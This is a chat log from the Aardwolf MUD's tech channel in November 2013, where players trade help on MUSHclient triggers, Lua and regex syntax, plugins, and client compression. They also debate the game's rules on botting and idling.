T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: the aardmush has a default plugin with a mapper
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: in other words im not gonna touch it or i will break it (bad habbit i know)
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: q request
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: mis
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: how do i name a wildcard in the trigger line ? im triggering with ([0-9]+)\| but i would like to put an identifyer on it for easyer reading
T3/r7/2013-11-22.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: (?P<tag>[0-9]+)\|
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: okay thanks
T3/r7/2013-11-22.txt.gz:{chan ch=tech}NoSnail4U! Anaristos Tech: this is an entire regexp tutorial: http://www.regular-expressions.info/tutorial.html
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i can do most of the regex, ust couldnt find the naming part :P, and it doesent seem to work :P, still registers as %1 only
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elxi Tech: I was just browsing g+ and saw this nice regexp visualizer: http://goo.gl/KxaGgj
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im using http://regexpal.com/
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elxi Tech: Yeah I normally use that too
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elxi Tech: I just thought that was a neat little site
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: o well ill just use %1 ect i know it works :P
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Be aware not all programs implement regex in exactly the same way - there are slight variations that can get very frustrating if you don't know to look for them.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elxi Tech: Yep, that visualizer is js style
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: This is an EXCELLENT source of the theory behind it all: http://www.regular-expressions.info/
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: in mush at least in plugins you use wildcards['flagname']
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im making a stand alone trigger to begin with
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: 2/3 Flying VampireDude misread that as a stand alone complex to begin with.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The biggest difference you'll find in MUSH's regex is that naming pattern - a capture group like (?<captureName>.+) will work on MUSHclient to fill the named capture group wildcards[captureName], but it won'
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto :|
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: ...won't work in regexpal
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: ahh okay thanks for that
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: was wondering why it was chucking a hissy at that
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: was thinking it was a good idea as numbers will be confusing when dealing with invdetails
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: which site got the fastes way to make a email adress?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: 10minutemail
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ayasinda Tech: hotmail
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elysian Tech: own server.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Thanks!
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Gener Tech: hotmail is no more
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ayasinda Tech: heh? Thanks is not a site!
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elysian Tech: sorry misread then.m
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Serrin Tech: I
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: J
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Serrin Tech: sorry, I have a question
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: I might have an answer.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Serrin Tech: every reply from the mud server has my stats in it
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Serrin Tech: I remember I turned on this looong time ago. how do I turn it off?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Serrin Tech: something about statmon
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elxi Tech: type statmon
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elxi Tech: For further reading see help statmon
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Serrin Tech: oh, that was silly of me
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Serrin Tech: sorry, it's been years since I've done this
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Serrin Tech: thank you
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Elxi Tech: It's a common problem. Especially for people who change from Mushclient to something else that isn't gagging tag style output.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Any time your query relates to 'xyz', type 'help xyz' - 90% of the questions people ask have been asked many times before :D
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: can anyone explain this error, its on this line, (lua mush) for k,v in pairs table do, i keep getting the error, expected do near table ?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: in pairs (table) do
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto buries his face in his hand and sighs, shaking his head.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: im an idiot
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: NoSnail4U! Anaristos rapidly nods twice at [Outlaw] Remarto, in complete agreement.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto glares at Schnell, the mighty warsnail.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Grae Tech: anyone else gets random times where Chrome won't render a page properly unless you refresh it a few times?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Grae Tech: in Win 8...
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Never had that problem on linux or android.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Did youtube just increase the number of video ads by a factor of 4 or so, or is it just me?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}SlowMoos Tech: i think you're right
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: That sucks. 
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: never seen ads on youtube
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: Guess we'll see a premium service soon, then.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: it's called adblock
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Ranrr Tech: If you block ads, the terrorists win :D
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: i've had that problem grae, on win 7
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: pretty sure i've had it on win xp too
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Redryn Tech: firefox and chrome
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tigernuts Tech: bloody neighbours and their dumping broken laptops on you
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Swangin Tech: how does one reset the search and destroy window location?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: xset reset gui
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Swangin Tech: Thank you! :D
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Naud Tech: how can i set up my aardwolf mush client to make a noise, like a .wav beep whenever my quest timer runs to 0? ive tried a bunch of stuff with no luck any help?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tasty Tipro Tech: but the prompt in the trigger, and click on the sound box in the bottom right
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tasty Tipro Tech: you can dl new sound files from the internet to make it play whatever sound you want
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Negader Tech: print ("\a")
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Naud Tech: yea its the prompt options that mess me up
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tasty Tipro Tech: just "QUEST: You may now quest again."
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Naud Tech: ok
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tasty Tipro Tech: then echo the command to test it
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Naud Tech: oohh thats what echo mean slol
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Negader Tech: have trigger to... print ("\a") and 
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Naud Tech: what is that?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Naud Tech: \a
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Negader Tech: send to script
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tasty Tipro Tech: A basic trigger will work fine for this purpose
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Negader Tech: also you can add on the next line... :  ColourNote("white", "blue", "You raise a level!")
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Negader Tech: or say you can quest again.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Negader Tech: print ("\a") will sound three 'ding's to your speaker output.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Naud Tech: ohhok thanks
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tigernuts Tech: i just had a lucky escape
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tech: A large blue sweatdrop appears on Tigernuts's forehead.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tigernuts Tech: neighbour got a free laptop from their kids and it was a bit screwed up, managed to resurrect it, downloaded all the drivers (from manufacturers site, specified by SERIAL NUMBER) and the bios upgrade bricked it, they'd supplied the bios for the model with onboard VGA whereas this has an NVidia card
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Tigernuts Tech: fortunately i managed to find the correct bios on their ftp site which isn't advertised, find destructions for using boot block to flash from a floppy drive blind (no screen, so can't see if it's working)
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Quadrapus Tech: any amira users around?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Skull Tech: where do you check your computers running system, rather it has 32 or 64 bits etc....?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Roidrage Tech: right click my computer and go to properties it should say it there what os your running
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Skull Tech: thats what I needed....thanks Roidrage.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Roidrage Tech: your welcome
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Pleiades Tech: either wine/mush keeps crashing, or there's a shortcut to close apps on a mac that I am not aware of
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Pleiades Tech: are there any "gestures" on a macbook that would close an app?
T3/r7/2013-11-22.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: nod, gesture that guy right out the window.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Aizma Tech: Not be default, no.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Aizma Tech: by, even
T3/r7/2013-11-22.txt.gz:{chan ch=tech}I Sense Nonsense Tech: Yes, you hold your hand as if gripping a baseball bat, and then move it up and down slowly at first... and then faster and faster.
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Definitely Defines Tech: well theres the gesture drawing all five fingers together like a claw
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Definitely Defines Tech: on ipad its the same as hitting the home button, but that just suspends the app... on osx I believe it closes the app, but I havent had a mac in about a year now
T3/r7/2013-11-22.txt.gz:{chan ch=tech}Pleiades Tech: sometimes, when I switch from the wine app to a browser, the wine app closes
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: how do i add plugins from other sources when using wine and on a mac, copy and paste doesn't work
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: copy / paste ? why don't you just copy that plugin into worlds/plugins folder and then File -> Plugins -> Add... ?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: because i can't copy the plugin files into the directory straight from the mac finder?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: i don't know where  i can find that directory straight from my mac
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: can anyone help with the winkle winkle search and destory plugin? everytime i get to the area, it gives me an error
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: what error?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: the error it gives me is " Alias Function "quick_where_start" not found or had a previous error
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: that alias/function is in WinkleWinkle_Search_Destroy_2.xml
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: so you probably don't have that plugin installed
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: ok i am reinstalling it and redownloading it as well
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: no it keeps giving me an error i can run to the area then it just gives me code 
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: when i do try to install the plugins all it says that it installed, but it says \worlds\plugins\constants.lua contains an invalid path (not loaded) is the files corrupt?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: I think that problems are related to wine / mac 
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: yea well ..damn
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: you need someone who familiar with Mac to help you
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: maybe Fiendish or Abelinc could help you
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Ranrr Tech: I would just open that file and check the paths in it, maybe it's something obvious :D
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Pooven Tech: where do i download plugins for aardwolf?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Ayasinda Tech: from the sites of different players
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Ayasinda Tech: try abelinc, fiendish, bast. Maybe some others
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Pooven thanks Ayasinda heartily.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: What does the Bytes in , bytes out mean when typing mc
T3/r7/2013-11-23.txt.gz:{chan ch=tech}[**NOPK**] Redwood Tech: the amount of data being compressed?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: yes but out from where ?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: the MUD
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: the MUD would've sent you 78,230, but because it's using MCCP, it only had to send you 15,565
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: (as of when I looked at your stat, anyway ;-)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: thats a huge difference :D sneak you lol
T3/r7/2013-11-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: sneaky
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: it only bothers compressing from MUD to you, as the commands from you to the MUD are tiny in comparison
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: not too sneaky..."who 4 4 compress" shows the compression stats for all level 4 players with compression turned on
T3/r7/2013-11-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: Nice, thats why i only use 4 megs a day. im gonna try that new command now. like to learn new stuff
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: when I see people asking for certain types of help, I use that method to determine whether they're using a "capable" client (so mxit users, telnet users, etc won't show up there)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: ahh clever that
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Sickerone Tech: can we know the total amount of cexits we have?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Ayasinda Tech: type mapper cexits
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Eyy, if anyone's into that sorta thing, I'm working on an Alias that lets me bid the next min bid, instead of copying the number. :) Something like "mbid 344"
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ShamrockV Tech: using mushclient?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}I Sense Nonsense Tech: That gets me all hot and bothered...
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ShamrockV Tech: and is it legal (trying to scan the newbie channel)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}I Sense Nonsense Tech: yes it's legal.. you have to be at the keyboard to use it
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: It's not about being at the keyboard o-o It's an alias that copies a number. That's totally legal. No auto-sending.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ShamrockV Tech: so u want to send and alias, with arguments?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Yes?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}I Sense Nonsense Tech: I thought it was only illegal if it was something that would keep operating even if you weren't at the keyboard..
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Illegality is anything that gives you an unfair advantage over other, as the result of a script, as far as I understand the law here.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: others*
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Pleiades Tech: it doesn't have to be the result of a script
T3/r7/2013-11-23.txt.gz:{chan ch=tech}I Sense Nonsense Tech: That's completely subjective...
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Pleiades Tech: read help botting :)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Yes, yes, an asian guy being paid to grind mobs is illegal, as well :P Geez
T3/r7/2013-11-23.txt.gz:{chan ch=tech}ShamrockV Tech: dang, cus thats a great idea, outsourcing lol
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: WoW and gold mining *sighs heavily*
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Ayasinda Tech: standing afk in a room with aggros is also illegal. And that uses no script
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Pleiades Tech: for the latest example... board announce... note read 1119
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Kosirk doesn't feel as devious as the experienced ones.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Kosirk has already read that one. *devilish grin*
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Woohoo, my mbid alias works :D
T3/r7/2013-11-23.txt.gz:{chan ch=tech}SnapDragon Shazam Tech: do share :-) 
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Hrm, I should probably create a proper script for it ><
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: btw, the last bot nuked was at the keyboard
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Abelinc, are you insinuating that I'm illegally botting? Why?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Hanslanda Tech: I heard the one before that was using Telnet.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: mbid sounds dodgy
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: no, I was reading tech -h and responding to "[23 Nov 14:52:07] Nonsense Tech: I thought it was only illegal if it was something that would keep operating even if you weren't at the keyboard..
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: I used to have a great TP token bid alias...but current bidding makes them unnecessary :-)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Pleiades Tech: I'm logging this conversation
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: me2
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Pleiades Tech: might type it out of A4 watermark paper
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: I've mentioned my TP trig/alias setup before in my logs as well
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Pleiades, lol are you going to have a live discussion about this? :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: A4? silly non-Merkins :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Naud Tech: this winkle winkle plugin doesn't work.. like it goes to the areas, but never finds the mobs? any help
T3/r7/2013-11-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: there can be unfortunate accident - you MUST go afk while in firenation or crynn(cant even recall there). so, nuke?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: yes. That's the way Lasher rolls.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: maybe all the recent nukes happened because the botters kids were sticking their fingers in the wall sockets
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Hanslanda Tech: in the vast majority of rooms (and for the vast majority of the day), the QUIT command still works.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: your 3-year-old daughter falls down the stairs while you're in Crynn, and that's an automatic Nuke if you don't stay at the keys
T3/r7/2013-11-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: oh there:) i havent used THAT command in 2 years:)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i don't the he minds if you stay for a pop. stuff happens
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i've done it plenty of times when i had a lousy internet connection
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Zade Tech: Pleiades was insinuating (by reference to note peek 1119) that somebody without a script on telnet is also botting if they are at the keyboard in an aggro room and merely standing there
T3/r7/2013-11-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: sometimes my connection doesn disconnect. but cant send commands
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Hwu: Does your character exist today?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: then STFU
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Seltsimees Dagnir raises an eyebrow at you.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}.... Hwuaijijal Tech: stfu yourself. this is unclear matter actually
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: no, it's not unclear in the least
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Hanslanda Tech: stacked commands result in the same punishment, Zade, so we probably don't need to waste time on the bot versus not-bot argument for stacked commands.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Zade Tech: a prior Tech conversation (ratified by Abelinc) stated that stacking commands and remaining in a room is legal
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: What's the sense in the aggro issue, if there's idleout after 15 mins?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: help stacking
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Hanslanda Tech: it is, and Abelinc has also said (paraphrasing here) that "bots are legal".
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: though you cannot stay in aggro room
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: no, I've said that legal bots are legal
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Aggro mobs prevent you from idling out.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tlamacazqui Tech: because of autoquaffer scripts Kosirk (for example)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: there are two separate questions regarding things like AFK in aggro room...(1) is it illegal...(2) will you get nuked for it...the answer to (1) is unquestionably "yes"...the answer to (2) will be situationally-dependent...is it a pattern, are you thumbing the rules, etc
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: there is only a timeout if your client never sends anything...
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: many players have "don't time me out" measures, and spellup scripts would also stop you from idling out
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Pleiades scribbles down some notes
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: I send a carriage return every 10 mins to not time out
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Abelinc: Is it specifically client? I had been under the impression (simply due to always using a client) that if your character is not idle MUDside (in battle, etc), you may remain indefinitely (barring your own client autodisconnect)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Pleiades Tech: imm
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: never tested...would be interesting to telnet in and attack barney...err tier
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: You would idle out in battle last time I tested out.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: That was a _long_ time ago though.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, not something I'm going to actively test.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: you still do afaik
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: ooh, I feel so loved...let's see how long this lasts: Gener is no longer ignoring you.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: as of a year or two ago, cause i reported a bug with it :P
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Idling out (get d/c) during an idle fight, after timeout, makes sense. Nothing else does.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Gener Tech: i just wanted to see your side of this conversation  :-)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Book of Etzli falls to the ground and rolls around, laughing hysterically.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: tech -h shows ignored people
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Hanslanda Tech: how can you be idle in a fight?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Not an Imm Erikson Tech: Carefully-practiced laziness.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: just letting melee do its thing
T3/r7/2013-11-23.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: attack barney and walk away
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Zade Tech: attack barney and watch the colors display
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: not legal to do for immune MOBs in case someone else needs them, but OK to do on punching bag MOBs because they're multi-attack allowed (no real reason to, though since you don't get better)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: I personally find short idle outs odd. MUDs are basically advanced chatrooms. Chatrooms are for idlers. I mean, why not have a 1 hour idle out? An hour makes more sense.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: use irc to chat
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Pleiades Tech: irc :)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: The "go somewhere else" answer doesn't resolve this, at all. o-o
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: some people use MUDs as chatrooms, but MUDs serve a different purpose...
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: well, mud should consist of 2 parts : game server and chat server, then idle char could be logged out of game, but still remain in chat server
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: that's more the mush domain than mud
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: some MUDs actually enforce the timeouts, such that it's illegal to script anti-idles...aard embraces it and lets you stay connected 24/7
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: What is the purpose of removing idlers?
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: I thought anti-idling was illegal on Aard. It ain't? That's great, although peculiar.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Book of Etzli Tech: MUD I used to play wouldn't allow you to stay connected 24/7.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Book of Etzli Tech: Not illegal on Aardwolf.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Book of Etzli Tech: It's the method of anti-idling used that may be illegal.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: I left Discworld, because the gaming wasn't that interesting, and they insisted on banning idlers. Very odd folk. Quite sad.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: and on aard, it doesn't have to be a "real" command to stay connected...just <enter> works
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Zade Tech: without active channels, (where the mud discourages channel activity) a mud is going to die -- new players log on, and there is suppressing silence. and the new player soon leaves (at least that is what happens on the muds below #20) 
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: significant gain from being idle is illegal
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: Kosirk gains love from being idle.... feels ashamed for cheating on love....
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Just as an aside, avoiding idleout is easy with a trigger for "eyes glazing." I'm surprised such a thing ain't an internal game option, if that's the case. Or, even, have idleout be a setting that is changed manually.
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: no reason to trigger on eyes glazing...just timer every 10 mins...less work to do and less work for your client
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Zade Tech: (but then, on a hopeful note, if facebook, skype, twitter, etcetera, were to suppress conversational activity, joy oh joy, those abominations of the internet may also die and disappear)
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Kosirk Tech: Whoa there, you really think a timer is more efficient than a trigger? haha
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Trachx Tech: you should rather use spellup plugin to avoid being idle instead timer
T3/r7/2013-11-23.txt.gz:{chan ch=tech}Tech: it is much more efficient, yes
